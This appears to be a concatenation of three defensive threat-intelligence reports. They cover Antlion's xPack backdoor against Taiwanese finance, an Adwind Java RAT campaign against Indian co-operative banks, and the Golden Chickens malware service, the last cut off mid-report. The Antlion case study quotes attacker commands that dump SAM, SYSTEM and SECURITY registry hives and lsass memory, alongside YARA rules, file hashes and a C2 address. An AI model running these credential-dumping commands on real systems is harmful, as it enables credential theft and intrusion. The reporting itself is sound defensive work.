c5654ff65d13c67e7d2499f5d67480caae65d29a8e08cda71367a1707ae6021b
9587f5de22437d2f61385d98d289a73b4de2264c3a6030b7fd47a01b6963e14c
dfa8f3e9a34d8f9f783c8f3d7de918f026605b304840abf856767b45396f1440
3d8f6d3315ce87f0278879b0eb67de9d5da636f2e3da1f49567575f1f2f150f4
d38ec57079e8f913d4493bc88c82efb08afb79c245c4637ac4a6e07ed351c060
2d72a008bfdfcd3284f926348cebb7a459872174c645029b87b5b868ff89f6c0
b6d6ddbc9119380be5945175eb218c4dd6994bb6ca25eaec7024bbf354d33011
7d06bfc310ad39d79898c6b2949ab3e747fe282ba1c35e6ec8e6c5962f10c3da
80aeb6af074c151efa0e32693b1e3cf8ea2d700e29a1c39d371fdf0cf3f101da
51326a0c585532f8ad872a195bb90f06161660026cddc6ef84b4c07ff9b281cd
1e57676cf5946502ef27d7c08bc9afcf8f4fb058a722bde849250def9d1d42a6
90954e568e8645e68a5c56a38d817e553c2e256f9f692ca008578f6d77e5bfef
2147356098721f8003a1f94c08fb8cbaa754059b5019960cd47c354f5accc412
6750224a37e7ed287f75be8cc741ff99081b35f77d72a759f67f9561897967d
22403f3f045ca8c29b1bb7f9d0ca195d2c15f3d0d70e990607ccbc65f070bfef
89ebcd8aed0574684e320ad14cbd4b59a5423c4db28786993bb37431a30aea27
2f26dc5c71df628cedc4dbf60fa1d3d695ecb60f0b38572850974ea4ee081b80
d54f390ecc9dc73a4ab2aad6af0e36eb8bac68f8168079b9956366c929903912
Learn more about FortiGuard Labs threat research and the FortiGuard Security Subscriptions and Services portfolio.
Learn more about Fortinet’s free cybersecurity training initiative or about the Fortinet NSE Training program, Security Academy program, and Veterans program. |
# Antlion: Chinese APT Uses Custom Backdoor to Target Financial Institutions in Taiwan
The attackers spent a significant amount of time on victim networks. Chinese state-backed advanced persistent threat (APT) group Antlion has been targeting financial institutions in Taiwan in a persistent campaign over the course of at least 18 months. The attackers deployed a custom backdoor we have called xPack on compromised systems, which gave them extensive access to victim machines.
The backdoor allowed the attackers to run WMI commands remotely, while there is also evidence that they leveraged EternalBlue exploits in the backdoor. The attackers appeared to have the ability to interact with SMB shares, and it's possible that they used mounted shares over SMB to transfer files from attacker-controlled infrastructure. There is also evidence that the attackers were able to browse the web through the backdoor, likely using it as a proxy to mask their IP address. The goal of this campaign appears to have been espionage, as we saw the attackers exfiltrating data and staging data for exfiltration from infected networks.
## Technical details
As well as the attack on the financial institution outlined in the case study below, Antlion compromised the networks of at least two other organizations in Taiwan, including another financial organization and a manufacturing company. The activity the group carried out on those networks was largely similar to the activity that is detailed in the case study, with the xPack backdoor frequently deployed and a lot of evidence of credential dumping. In the manufacturing target, also, we see the attackers attempting to download malicious files via SMB shares.
The attackers also spent a significant amount of time on both these targeted networks, spending close to 250 days on the financial organization and around 175 days on the manufacturing organization. Symantec, a division of Broadcom, cannot state with certainty what the initial infection vector used by the attackers in this campaign was, though in one instance they were seen utilizing the MSSQL service to execute system commands, which indicates that the most likely infection vector was exploitation of a web application or service. However, Antlion are also known to have previously used malicious emails to gain initial access to victim networks.
The main custom backdoor used by Antlion in this campaign was the xPack backdoor, which is a custom .NET loader that decrypts (AES), loads, and executes accompanying .bin files. Its decryption password is provided as a command-line argument (Base64 encoded string), and xPack is intended to be run as a standalone application or as a service (xPackSvc variant). The xPack malware and its associated payload seems to be used for initial access; it appears that xPack was predominantly used to execute system commands, drop subsequent malware and tools, and stage data for exfiltration. The attackers also used a custom keylogger and three custom loaders.
- **EHAGBPSL loader** - custom loader written in C++ - loaded by JpgRun loader
- **JpgRun loader** - custom loader written in C++ - similar to xPack, reads the decryption key and filename from the command line - decodes the file and executes it
- **CheckID** - custom loader written in C++ - based on loader used by BlackHole RAT
The attackers also used a custom SMB session enumeration tool (NetSessionEnum), a custom bind/reverse file transfer tool named ENCODE MMC, and a Kerberos golden ticket tool based on Mimikatz. The attackers also used a variety of off-the-shelf tools, as well as leveraging living-off-the-land tools such as PowerShell, WMIC, ProcDump, LSASS, and PsExec. The legitimate AnyDesk tool was also abused by the attackers for remote access in one of the victim organizations. The attackers were also observed leveraging exploits such as CVE-2019-1458 for privilege escalation and remote scheduled tasks to execute their backdoor. CVE-2019-1458 is an elevation-of-privilege vulnerability that occurs in Windows when the Win32k component fails to properly handle objects in memory.
Legitimate versions of WinRAR appear to have been exploited by the attackers for data exfiltration, while there is also evidence of data exfiltration via PowerShell, specifically using the BitsTransfer module to initiate an upload to attacker-controlled infrastructure. There is also evidence that the attackers likely automated the data collection process via batch scripts, while there is also evidence of instances where data was likely staged for further exfiltration, though it was not actually observed being exfiltrated from the network. In these instances, it appears the attackers were interested in collecting information from software pertaining to business contacts, investments, and smart card readers.
## Case study: Attack on a financial organization
The attackers spent a significant amount of time on victims’ networks and deployed both custom and off-the-shelf malware. In one financial sector victim in Taiwan, the attackers spent almost nine months on the victim network. The first suspicious activity on this victim network occurred in December 2020 when WMIC was used to execute two commands:
```
wmic process get CSName,Description,ExecutablePath,ProcessId /format:”;CSIDL_SYSTEM\wbem\zh-tw\htable.xsl”;
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:”;CSIDL_SYSTEM\wbem\zh-tw\htable.xsl”;
```
The first command was used to list the computer name, description of processes, executable path, and process ID. The output was written to a suspicious file named htable.xsl under the wbem directory. The second command was used to collect information about the system, which was written out to the same file (htable.xsl). Information collected included:
- Version of the operating system (OS)
- The installation date
- The last time the system was booted
- The local date and time of the system
- The manufacturer
- The registered user
- Service pack information - this can be used to determine what patches are installed
- System directory path
Five minutes after those commands were issued, WMIC was used to dump credentials:
```
reg save HKLM\SAM CSIDL_COMMON_DOCUMENTS\sam.hiv
reg save HKLM\SYSTEM CSIDL_COMMON_DOCUMENTS\sys.hiv
reg save hklm\security CSIDL_COMMON_DOCUMENTS\security.hiv
```
The commands listed above were all executed via Antlion’s custom xPack backdoor. Several days later, during the Christmas holiday period, the attackers returned over a period of a few days and executed the xPack backdoor again. They also executed an unknown VBS script via PsExec multiple times:
```
“;cscript.exe”; CSIDL_SYSTEM_DRIVE\update.vbs
```
On December 28, the attackers used xPack to launch a command prompt to dump credentials from several machines within the compromised organization with the following commands:
```
upload.exe -accepteula -ma lsass.exe 16.dmp (a renamed version of Sysinternals procdump64.exe)
reg save hklm\sam CSIDL_PROFILE\publicsam.hive
reg save hklm\system CSIDL_PROFILE\public\system.hive
reg save hklm\security CSIDL_PROFILE\public\security.hive
```
Over the following couple of weeks, the attackers continued to return intermittently to launch the xPack backdoor or to dump credentials via the registry. Then, following a few weeks of inactivity, they became active on the infected network once again. The attackers used the xPack backdoor to launch a command prompt to execute the following commands:
```
“;cmd”; /K CHCP 950
CHCP 950
query user
“;CSIDL_SYSTEM\quser.exe”;
tasklist /v
findstr explorer
cmd /c dir “;CSIDL_PROFILE\desktop”;
CSIDL_SYSTEM\cmd.exe /c cmd /c dir \users /b
cmd /c dir “;CSIDL_PROFILE\desktop”;
cmd /c dir \users /b
reg save hklm\security CSIDL_COMMON_DOCUMENTS\security.hiv
rar a -r -hp1qaz@WSX3edc!@# W22-009-099.tmp “;CSIDL_COMMON_DOCUMENTS\w22-009-099_file”;
reg save hklm\system CSIDL_COMMON_DOCUMENTS\system.hiv
reg save hklm\sam CSIDL_COMMON_DOCUMENTS\sam.hiv
```
The above commands were used to firstly change the code page to 950, which is the Windows code page for Traditional Chinese. The attackers then executed 'query user' to list any logged-in users on the system, as well as running ‘tasklist’ to get a list of all the running processes on the system. They also tried to discover what processes were running, before listing all contents of the Desktop directory and the Users directory. After this, the attackers dumped credentials again via the registry.
The attackers returned to the network a couple of weeks later and carried out largely the same activity. The attackers remained active on the network for March, April, and May 2021, intermittently returning to launch their xPack backdoor or dump credentials from the registry. Dumping credentials appears to be a main focus of the attackers, with them likely using these credentials to move laterally across the network to identify machines of interest from which they can exfiltrate data. The last activity on this network, after a gap of three months, occurred in August 2021, when the attackers returned and listed all available shares. They then dumped credentials from the registry and proceeded to collect account, group, and workstation configuration information. They then dumped credentials from the registry once again. This was the last activity seen on this network.
## Experienced actor stays active
Antlion is believed to have been involved in espionage activities since at least 2011, and this recent activity shows that it is still an actor to be aware of more than 10 years after it first appeared. The length of time that Antlion was able to spend on victim networks is notable, with the group able to spend several months on victim networks, affording plenty of time to seek out and exfiltrate potentially sensitive information from infected organizations. The targeting of Taiwan is perhaps unsurprising given we know Chinese state-backed groups tend to be interested in organizations in that region.
## Protection
For the latest protection updates, please visit the Symantec Protection Bulletin.
## Indicators of Compromise (IOCs)
If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file.
| Type | IOC | Description |
|------|-----|-------------|
| SHA2 | 85867a8b4de856a943dd5efaaf3b48aecd2082aa0ceba799df53ba479e4e81c5 | checkID |
| SHA2 | 12425edb2c50eac79f06bf228cb2dd77bb1e847c4c4a2049c91e0c5b345df5f2 | xPack |
| SHA2 | e4a15537f767332a7ed08009f4e0c5a7b65e8cbd468eb81e3e20dc8dfc36aeed | xPack |
| SHA2 | e488f0015f14a0eff4b756d10f252aa419bc960050a53cc04699d5cc8df86c8a | xPack |
| SHA2 | 9456d9a03f5084e44f8b3ad936b706a819ad1dd89e06ace612351b19685fef92 | xPack |
| SHA2 | 730552898b4e99c7f8732a50ae7897fb5f83932d532a0b8151f3b9b13db7d73c | xPack |
| SHA2 | de9bd941e92284770b46f1d764905106f2c678013d3793014bdad7776540a451 | xPack |
| SHA2 | 390460900c318a9a5c9026208f9486af58b149d2ba98069007218973a6b0df66 | xPack |
| SHA2 | 4331d1610cdedba314fc71b6bed35fea03bc49241eb908a70265c004f5701a29 | xPack |
| SHA2 | 9b5168a8f2950e43148fe47576ab3ac5b2cfa8817b124691c50d2c77207f6586 | xPack |
| SHA2 | a74cb0127a793a7f4a616613c5aae72142c1166f4bb113247e734f0efd48bdba | xPack |
| SHA2 | e5259b6527e8612f9fd9bba0b69920de3fd323a3711af39f2648686fa139bc38 | xPack |
| SHA2 | eb7a23136dc98715c0a3b88715aa7e936b88adab8ebae70253a5122b8a402df3 | xPack |
| SHA2 | 789f0ec8e60fbc8645641a47bc821b11a4486f28892b6ce14f867a40247954ed | Keylogger |
| SHA2 | 3db621cac1d026714356501f558b1847212c91169314c1d43bfc3a4798467d0d | Keylogger |
| SHA2 | 443f4572ed2aec06d9fb3a190de21bfced37c0cd2ee03dd48a0a7be762858925 | JpgRun |
| SHA2 | f4534e04caced1243bd7a9ce7b3cd343bf8f558982cbabff93fa2796233fe929 | JpgRun |
| SHA2 | e968e0d7e62fbc36ad95bc7b140cf7c32cd0f02fd6f4f914eeb7c7b87528cfe2 | EHAGBPSL |
| SHA2 | 0bbb477c1840e4a00d0b6cd3bd8121b23e1ce03a5ad738e9aa0e5e0b2e1e1fea | EHAGBPSL |
| SHA2 | 55636c8a0baa9b57e52728c12dd969817815ba88ec8c8985bd20f23acd7f0537 | EHAGBPSL |
| SHA2 | 2a541a06929dd7d18ddbae2cb23d5455d0666af7bdcdf45b498d1130a8434632 | EHAGBPSL |
| SHA2 | 85867a8b4de856a943dd5efaaf3b48aecd2082aa0ceba799df53ba479e4e81c5 | checkID |
| SHA2 | 29d7b82f9ae7fa0dbaf2d18c4d38d18028d652ed1ccc0846e8c781b4015b5f78 | checkID |
| SHA2 | f7cab241dac6e7db9369a4b85bd52904022055111be2fc413661239c3c64af3d | checkID |
| SHA2 | 2aa52776965b37668887a53dcd2374fc2460293b73c897de5d389b672e1313ff | checkID |
| SHA2 | 79a37464d889b41b7ea0a968d3e15e8923a4c0889f61410b94f5d02458cb9eed | checkID |
| SHA2 | 48d41507f5fc40a310fcd9148b790c29aeb9458ff45f789d091a9af114f26f43 | NetSessionEnum |
| SHA2 | f01a4841f022e96a5af613eb76c6b72293400e52787ab228e0abb862e5a86874 | MMC |
| SHA2 | e1a0c593c83e0b8873278fabceff6d772eeaaac96d10aba31fcf3992bc1410e5 | MMC |
| SHA2 | dfee6b3262e43d85f20f4ce2dfb69a8d0603bb261fb3dfa0b934543754d5128b | Mimikatz |
## Yara Rules
```yara
rule xpack_loader {
meta:
author = "Symantec, a division of Broadcom"
hash = "12425edb2c50eac79f06bf228cb2dd77bb1e847c4c4a2049c91e0c5b345df5f2"
strings:
$s1 = "Length or Hash destoryed" wide fullword
$s2 = "tag unmatched" wide fullword
$s3 = "File size mismatch" wide fullword
$s4 = "DESFile" wide fullword
$p1 = "fomsal.Properties.Resources.resources" wide fullword
$p2 = "xPack.Properties.Resources.resources" wide fullword
$p3 = "foslta.Properties.Resources.resources" wide fullword
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (2 of ($s*) or any of ($p*)
}
```
```yara
rule xpack_service {
meta:
author = "Symantec, a division of Broadcom"
hash = "390460900c318a9a5c9026208f9486af58b149d2ba98069007218973a6b0df66"
strings:
$s1 = "C:\\Windows\\inf\\wdnvsc.inf" wide fullword
$s2 = "PackService" wide fullword
$s3 = "xPackSvc" wide fullword
$s4 = "eG#!&5h8V$" wide fullword
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 3 of them
}
```
```yara
rule EHAGBPSL_loader {
meta:
author = "Symantec, a division of Broadcom"
hash = "e968e0d7e62fbc36ad95bc7b140cf7c32cd0f02fd6f4f914eeb7c7b87528cfe2"
hash = "2a541a06929dd7d18ddbae2cb23d5455d0666af7bdcdf45b498d1130a8434632"
strings:
$s1 = {45 00 00 00 48 00 00 00 41 00 00 00 47 00 00 00 42 00 00 00 50 00 00 00 53 00 00 00 4C} // EHAGBPSL
$s2 = {74 00 00 00 61 00 00 00 72 00 00 00 57 00 00 00 6F 00 00 00 6B} // tarWok
$b1 = "bnRtZ3M=" fullword // ntmgs
$b2 = "TmV0d29yayBNYW5hZ2VtZW50IFNlcnZpY2U=" fullword // Network Management Service
$b3 = "UHJvdmlkZXMgYWJpbGl0eSB0byBtYW5hZ2UgbmV0d29yayBvdmVyIHRoZSBuZXQgcHJvdG9jb2wu" fullword // Provides ability to manage network over the net protocol.
$b4 = "bnRtZ3MuZG" // ntmgs.dll / ntmgs.dat
$b5 = "aW1nMS5qcGc=" fullword // img1.jpg
$c1 = "Wscms.nls" fullword
$c2 = "Wscms.dat" fullword
$c3 = "Wscms.dll" fullword
$c4 = "Wscms.ini" fullword
$c5 = "Images01.jpg" fullword
$e1 = "StartWork" fullword
$e2 = "ServiceMain" fullword
$h1 = {DD 9C BD 72} // CreateRemoteThread
$h2 = {C0 97 E2 EF} // OpenProcess
$h3 = {32 6D C7 D5} // RegisterServiceCtrlHandlerA
$h4 = {A1 6A 3D D8} // WriteProcessMemory
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of ($e*) and (all of ($s*) or any of ($b*) or 3 of ($c*) or all of ($h*))
}
```
```yara
rule keylogger {
meta:
author = "Symantec, a division of Broadcom"
hash = "3db621cac1d026714356501f558b1847212c91169314c1d43bfc3a4798467d0d"
hash = "789f0ec8e60fbc8645641a47bc821b11a4486f28892b6ce14f867a40247954ed"
strings:
$m1 = "BKB_Test" fullword
$m2 = "KLG_sd76bxds1N" fullword
$k1 = "[%d/%02d/%02d %02d:%02d:%02d K-E-Y-L-O-G]" fullword
$k2 = "[%d/%02d/%02d %02d:%02d:%02d C-L-I-P-B-D]" fullword
$k3 = "< Title--%s-- >" fullword
$k4 = "ImpersonateLoggedOnUser Error(%d)" fullword
$f1 = {55 73 65 72 ?? ?? ?? 00 00 00 ?? ?? ?? 6B 65 79 2E} // Userkey.
$f2 = {55 73 65 72 ?? ?? ?? 00 00 00 ?? ?? ?? 64 61 74 2E} // Userdat.
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (2 of ($k*) or (any of ($m*) and any of ($f*)))
}
```
```yara
rule checkid_loader {
meta:
author = "Symantec, a division of Broadcom"
description = "BlackHole/BlackSwan / QuasarRAT/xClient loader"
hash = "29d7b82f9ae7fa0dbaf2d18c4d38d18028d652ed1ccc0846e8c781b4015b5f78"
strings:
$s1 = "Call %s.%s(\"%s\") => %d" fullword wide
$s2 = "Assembly::CreateInstance failed w/hr 0x%08lx" fullword wide
$s3 = "checkID"
$s4 = "NULL == checkID hMutex" fullword
$s5 = "checkID Mutex ERROR_ALREADY_EXISTS" fullword
$s6 = "dllmain mutex ERROR_ALREADY_EXISTS" fullword
$x1 = "xClient.Program" fullword wide
$x2 = "LoadPayload" fullword
$m1 = "SFZJ_Wh16gJGFKL" ascii wide
$m2 = "d5129799-e543-4b8b-bb1b-e0cba81bccf8" ascii wide
$m3 = "USA_HardBlack" ascii wide
$b1 = "BlackHole.Slave.Program" fullword wide
$b2 = "NuGet\\Config" wide
$b3 = "VisualStudio.cfi" wide
$p = {E1 F6 3C AC AF AC AC AC A8 AC AC AC 53 53 AC AC 14}
$t = "0s+Nksjd1czZ1drJktPO24aEjISMtsvLy5LJzNjdyNnL1dLY08uS39PRhoSMhIy2jYyPkomNko2IjJKEiIaEjISM"
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 2 of ($s*) and (all of ($x*) or any of ($m*) or all of ($b*) or $p or $t)
}
```
## About the Author
**Threat Hunter Team**
Symantec
The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. |
# Java RAT Campaign Targets Co-Operative Banks in India
**Written by Pavankumar Chaudhari**
**May 12, 2020**
**Categories: Cybersecurity, Malware**
## Summary
While the entire world is busy fighting the COVID-19 pandemic, cybercriminals have latched onto the opportunity to propagate numerous cyber-attacks. The latest in line is a targeted attack against co-operative banks in India. In April 2020, Quick Heal Security Labs observed a renewed wave of Adwind Java RAT campaign, whose primary target seems to be co-operative banks. These banks are usually small in size and may not have a large team of trained cybersecurity personnel, which potentially makes them a target for cybercriminals.
As with a large percentage of COVID-19 related cyber-attacks, this recent Java RAT campaign also starts with a spear-phishing email. In this case, the email claims to have originated from either the Reserve Bank of India or a large banking organization within the country. The content of the email refers to new RBI guidelines or a transaction, with detailed information in an attached file, which is a zip file that contains a malicious JAR file. Use of document file extensions (e.g., xlsx, pdf, etc.) in the name of the attachment results in it appearing as an Excel document or a PDF file, thus luring unsuspecting users into opening it.
The JAR file is a remote admin trojan that can be run on any machine installed with Java, including Windows, Linux, and Mac. Once the user opens the attachment, the malicious payload persists itself by modifying the registry key and dropping a JAR file in the %appdata% location. This JAR has multi-layer obfuscation to make analysis hard and bypass detection from AV products. Upon execution, this JAR file transforms into a Remote admin tool (JRat) which can perform various malicious activities such as keylogging, capturing screenshots, downloading additional payloads, and getting user information.
## Infection Vector
The attacker sent spear-phishing emails to multiple co-operative banks using social engineering techniques. Assuming that this mail is from a trusted sender, the user opened the attachment. All attachments are zip files. After extraction of this archive, the malicious JAR file gets unpacked. The name of the JAR is impersonated to PDF, xls, or xlsx. This impersonation lures the user to click on this JAR file resulting in the execution of Java RAT.
### Below are some subject and attachment names found in the campaign:
| Email Subject | Attachment Name |
|----------------------------------------|-----------------------------------------------------|
| Urgent – COVID measures | Covid_19_measures_Monitoring_Template-Final_xlsx.zip|
| Query Reports for RBI | NSBL-INSPECTION_AccListOnTheBasisOfKYCData_0600402020_pdf.zip |
| Moratorium | Gazette notification&RBI_Directives_file-00000120_pdf.zip |
| FMR returns | Fmr-2_n_fmr_3_file_000002-pdf.zip |
| Assessment Advice-MH-603 | MON01803_DIC_pdf.zip |
| [874890897] – MIS for NEFT/RTGS, 06-04-2020 | FIXEDCOMPNULL_xls.zip |
| Deal confr. | SHRIGOVARDHANSING0023JI001_pdf.zip |
| DI form | DI_form_HY_file_00002_pdf.zip |
## Analysis of the JAR
**Sample analysed:** D7409C0389E68B76396F9C33E48AB72B
**Attachment Name:** Covid_19_measures_Monitoring_Template-Final_xlsx.jar
This JAR is obfuscated with multi-stage obfuscation. The first stage JAR file is obfuscated with Allatori obfuscator. After deobfuscating, the code is readable. The code is loading AES encrypted data from a file named bxcerhsdj.lsp using the getResourceAsStream function. The AES key is hardcoded in the code. This encrypted data becomes the second stage of JAR payload after decryption. This second stage JAR is dropped at %APPDATA% location and executed with java.exe.
### Stage 2 JAR
The second stage JAR is responsible for all the major malicious activities. This JAR is again obfuscated with Allatori obfuscator. After deobfuscation, a new JAR is constructed.
## Analysis of RAT functionalities
### Configurations
The class stores all the required configurations like URL for connection, port number, sleep intervals, current JAR name, etc.
### Connection mechanism
Adwind communicates with its command and control (C2) server on non-standard ports. It has a hardcoded URL and port number. In this case, Port 9045 was used. It also schedules sleep before connecting to C2.
### C2 Details
The domain was active between 05-Apr-2020 to 20-Apr-2020 hosted on IP ‘151.106.30.114’.
### Download Payload mechanism
Request for the payload is sent with “User-Agent” as:
“Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36”
“dn” command is used for download functionality and “dn.e” command is used to download and execute the payload.
### Pause-N-Go Mechanism
AdWind RAT has a pause & go mechanism which allows the RAT to schedule sleep before contacting the command-n-control server. This mechanism helps it to minimize its network activity when the C2 is off. The attacker can also cancel the scheduled sleep activity when needed.
### “main” commands Mechanism
Three commands under ‘main’ help the attacker to shut down, reboot, or log off the victim machine — all commands are executed as the victim OS.
### Persistence Mechanism
This backdoor can create or delete its persistence by sending commands. Persistence is created by adding its file path to the HKCU Run registry key using the reg command. In case of clean-up, persistence can be removed by a command which calls ‘REG DELETE’ to the current entry.
### Remote Desktop Control
Adwind RAT is capable of controlling the victim’s desktop remotely. In this variant, the attacker used the robot class to control the mouse and keyboard by sending commands from a remote machine.
### Screenshots Capture
The code responsible for taking screenshots is included in the analysis.
### Below table shows different commands that can be sent from C2:
| Commands | Description | Sub-Commands | Description |
|----------|-------------|--------------|-------------|
| aut | Authenticate| | |
| cm | Commandline | | |
| ln.t | Launcher.terminate | | |
| ln.rst | Launcher.Restart | | |
| png | Pause-N-Go | | |
| dg | Dialog | | |
| dn | Download | dn.e | Download & Execute |
| main | Main menu | main.shd | Shutdown |
| main.rbt | Reboot | | |
| main.lgf | logoff | | |
| st | startup | st.is | Add Reg |
| st.us | Delete Reg | | |
| sc | Screen/Scroll Capture | sc.op | Open |
| sc.ck | Mouse Click | | |
| dblck | Mouse Double Click | | |
| dn | Down | | |
| up | Up | | |
| sc.mv | Mouse Move | | |
| sc.cap | Capture | | |
| sc.ky | Keyboard keypress | | |
| sc.mw | Mouse wheel | | |
| fm | Filemanager | fm.dv | Dir view |
| fm.get | Get environment variable | fm.nd | mkdirs |
| fm.e | Execute | fm.op | Open |
| fm.sp | Spawn-Process with WMIC | fm.ja | Execute Java App: java -jar <file> |
| fm.sc | Execute Script: wscript.exe //B <file> | fm.es | Execute on cmd shell |
| fm.cp | Copy | fm.chm | Modifies File Permissions |
| fm.mv | Move | fm.del | Delete |
| fm.ren | Rename | fm.chmod | Modifies File Permissions |
| fm.down | Download | fm.up | Upload |
## Impact of Attack
When assessing the potential risk, banks should factor in not just direct costs but many indirect aspects as well.
### Direct Impact
- **Stolen Data:** Cyberattacks on banks can lead to the stealing of all customer data and important financial infrastructure details. This data leak helps the attacker to plan the next phase of attack including targeted attacks.
- **Financial Fraud:** Backdoors often lead to stealing of credentials for important financial infrastructure like SWIFT logins. This further leads to significant financial losses to banks.
- **Larger Attacks:** There have been drawn-out & long-duration cyber attacks on banks which had a huge financial impact. Such attacks usually start with an initial infection that gives cybercriminals access to resources within the network, and from there the attack spreads laterally to the rest of the network until the attacker gains access to sensitive/confidential information.
### Indirect Impact
- **Business Downtime:** Cyber-attacks may lead to the operational shutdown of banks, which may be multiple times higher than direct costs like financial fraud.
- **Loss of Reputation:** A news leak about an attack leaves the victim with no choice but to make it known to the public that they have been breached. This can change the views of investors and other stakeholders toward banks.
- **Customer Impact:** Attacks on the bank can lead to the disclosure of customer personal data. Failure of transactions due to an operational shutdown may also lead to unhappy customers and negative consequences on retaining clients.
## Conclusion
Cybercriminals are capitalizing on global coronavirus panic to distribute a variety of malware and steal sensitive information. In this scenario, attackers have used Adwind Java RAT to target small banks in India, with the explicit aim of stealing information and remotely controlling the victim machine for financial gains. The attackers have used multi-layered obfuscation in this attack to make detection harder.
Quick Heal advises users to exercise ample caution and avoid opening attachments and clicking on web links in unsolicited emails. Users should also keep their Operating Systems updated and have a full-fledged security solution installed on all devices. We recommend Seqrite customers ensure they have email protection configured as per their organization policy.
## IOCs
- D7409C0389E68B76396F9C33E48AB72B
- 09477F63366CF4B4A4599772012C9121
- 8C5FFB7584370811AF61F81538816613
- 01AB7192109411D0DEDFE265005CCDD9
- 0CEACC58852ED15A5F55C435DB585B7D
## MITRE ATT&CK TIDs:
| Tactics | Techniques | ID |
|----------------------------|-------------------------------------------|------|
| Initial Access | Spearphishing Attachment | T1193|
| Execution | Command-Line Interface | T1059|
| Persistence | File System Permissions Weakness | T1044|
| | Registry Run Keys / Startup Folder | T1060|
| Privilege Escalation | File System Permissions Weakness | T1044|
| Defense Evasion | Disabling Security Tools | T1089|
| | Modify Registry | T1112|
| | Obfuscated Files or Information | T1027|
| | File Deletion | T1107|
| Process Discovery | | T1057|
| Remote System Discovery | | T1018|
| System Information Discovery | | T1082|
| Data from Local System | | T1005|
| Collection | Input Capture | T1056|
| Screen Capture | | T1113|
| Data Compressed | | T1002|
| Exfiltration | Data Encrypted | T1022|
| Uncommonly Used Port | | T1065|
| Remote File Copy | | T1105|
| Remote Access Tools | | T1219|
| Data Destruction | | T1485|
| Impact | System Shutdown/Reboot | T1529|
**Subject matter experts:**
- Kalpesh Mantri
- Pavankumar Chaudhari
- Bajrang Mane
Pavankumar is associated with Quick Heal Technologies as a Technical Lead (Research and Development) and is also a part of the Vulnerability Research and Analysis Team. |
# GOLDEN CHICKENS: Evolution of the MaaS
**Latest Golden Chickens MaaS Tools Updates and Observed Attacks**
**Executive Summary**
Throughout March and April, QuoIntelligence (QuoINT) observed four attacks utilizing various tools from the Golden Chickens (GC) Malware-as-a-Service (MaaS) portfolio. We are now declassifying our findings for the general public. Overall, we attribute the separately conducted campaigns with confidence varying from low to moderate to GC05, GC06.tmp, and FIN6. During our analysis of the attacks, we uncovered the GC MaaS Operator, Badbullzvenom, created new variants of three existing tools in the service portfolio with notable code updates to TerraLoader, VenomLNK, and more_eggs.
- **TerraLoader**: A multipurpose loader written in PureBasic.
Updates: The new variant uses different string de/obfuscation, brute-forcing implementation, and anti-analysis techniques.
- **VenomLNK**: A Windows shortcut file likely generated by a newer version of the VenomKit building kit.
Updates: The new variant uses a new volume serial number, an evolved execution scheme, and only the local path to the Windows command prompt.
- **more_eggs**: A backdoor malware written in JavaScript (JS).
Updates: The new variant includes a minimum delay before executing or retrying an action and cleans up memory after using it.
In April, we detected two new attacks sharing similar characteristics of previously observed attack activity attributed to FIN6 – a financially-motivated threat actor group. Based on our analysis of the new campaigns, we assess attribution to FIN6 with low to moderate confidence. The uncovered campaigns highlight that Badbullzvenom is still highly active in the business of its MaaS, and that FIN6 is still one of Badbullzvenom’s recurrent customers.
**Introduction**
Throughout March and April, QuoIntelligence (QuoINT) observed four attacks utilizing various tools from the Golden Chickens (GC) Malware-as-a-Service (MaaS) portfolio. We are now declassifying our findings, after first notifying clients on 22 May. Further, during our analysis of the sightings, we confirmed the GC MaaS Operator, Badbullzvenom, released improved variants with code updates to three tools in the service portfolio:
- **TerraLoader**: A multipurpose loader written in PureBasic. TerraLoader is a flagship product of GC MaaS service portfolio.
- **more_eggs**: A backdoor malware capable of beaconing to a fixed command and control (C2) server and executing additional payloads downloaded from an external Web resource. The backdoor is written in JavaScript (JS).
- **VenomLNK**: A Windows shortcut file likely generated by a newer version of the VenomKit building kit.
**The Golden Chickens**
Since 2018, QuoINT has tracked the evolution of the GC MaaS, the activities of its Operator Badbullzvenom, as well as the different threat actors using the MaaS – including top-tier, financially-motivated threat actors such as FIN6 and the Cobalt Group. The GC MaaS remains a preferred service provider for top-tier e-crime threat actor groups due to Badbullzvenom/the Operator’s consistent updates and improvements of tools and its ability to maintain underlying network infrastructure. Although GC tools have primarily been used to compromise organizations in the retail and financial sector, one notable outlier includes a potentially targeted attack against a chemical company.
**Technical Analysis**
**Latest Sightings Related to GC MaaS**
Throughout March and April, QuoINT has observed four sightings utilizing various tools from the GC MaaS portfolio. Overall, we attribute the separately conducted campaigns with confidence varying from low to moderate to GC05, GC06.tmp, and FIN6. To clarify GC05 and GC06.tmp, we categorize the multiple GC MaaS clients as GCxx based on their overall motives, means, and opportunities. Additionally, we append .tmp to the GC categorization to represent that we are investigating their exact singular attribution.
**Sighting 1 GC06.tmp: Excel 4.0 Macro Sheet Used to Deliver GC MaaS Infection Chain**
On 6 March, QuoINT detected a new malicious Microsoft Excel document leading to the download of GC MaaS tools. Following our preliminary analysis, we confirmed the malicious document (maldoc) leads to an attack kill-chain which entirely relies on GC MaaS tools. Based on our telemetry, we assess with moderate to high confidence this targeted attack was against a large German chemical company.
Upon further analysis, we do not attribute the maldoc to the GC MaaS toolset as it is clear the employed technique is a well-documented abuse of a legacy functionality in Microsoft Office known as Excel 4.0 Macro Sheet. The Macro Sheet was obviously adapted to use the downloaded .ocx file – the typical file extension of TerraLoader.
The attack chain consists of multiple known GC tools which are:
- **TerraLoader**: A multipurpose loader, written in PureBasic. TerraLoader is essentially a flagship product of GC MaaS service portfolio.
- **lite_more_eggs**: A lite version of more_eggs used as a loader, written in JavaScript.
- **more_eggs**: A backdoor malware capable of beaconing to a fixed command and control (C2) server and executing additional payloads downloaded from an external Web resource. The backdoor is written in JavaScript.
